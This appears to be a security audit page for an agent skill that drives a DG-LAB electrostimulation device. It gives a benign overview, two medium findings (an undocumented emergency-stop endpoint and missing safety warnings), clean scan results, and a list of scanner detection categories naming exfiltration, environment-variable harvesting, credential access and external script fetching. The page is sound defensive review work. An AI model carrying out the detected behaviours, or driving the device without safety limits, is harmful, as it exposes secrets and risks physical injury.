ClawHub
Back to skill

Security audit

DG-LAB Control

Security checks across malware telemetry and agentic risk

Overview

The skill is a disclosed local controller for a DG-LAB pulse device, with real physical-control risk but no evidence of hidden data access, deception, or unrelated behavior.

Install only if you intentionally want an agent to control this physical device. Review the external relay-server install, keep the HTTP API on localhost, complete the safety and channel confirmations before any output, start at low strength, keep emergency stop available, and stop the background services when finished.

SkillSpector

By NVIDIA
Vulnerability Patterns
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (2)

Intent-Code Divergence

Medium
Confidence
84% confidence
Finding
The module documentation advertises control endpoints but omits the implemented `/emergency-stop` API, creating a mismatch between documented and actual dangerous functionality. In a skill that controls a physical electrostimulation device, undocumented control surfaces increase operational and security risk because downstream reviewers, wrappers, or policy checks may fail to account for a high-impact action endpoint.

Missing User Warnings

Medium
Confidence
92% confidence
Finding
This protocol documentation gives actionable instructions for controlling an e-stim pulse device, including strength changes, direct command forwarding, and waveform transmission, but provides no safety guidance, consent requirements, limits rationale, or warnings about physical harm. In the context of a skill explicitly designed to control real hardware that can affect a user's body, omission of safety constraints materially increases the risk of misuse, over-intensity settings, or coercive/unsafe operation.

VirusTotal

64/64 vendors flagged this skill as clean.

View on VirusTotal

Static analysis

No suspicious patterns detected.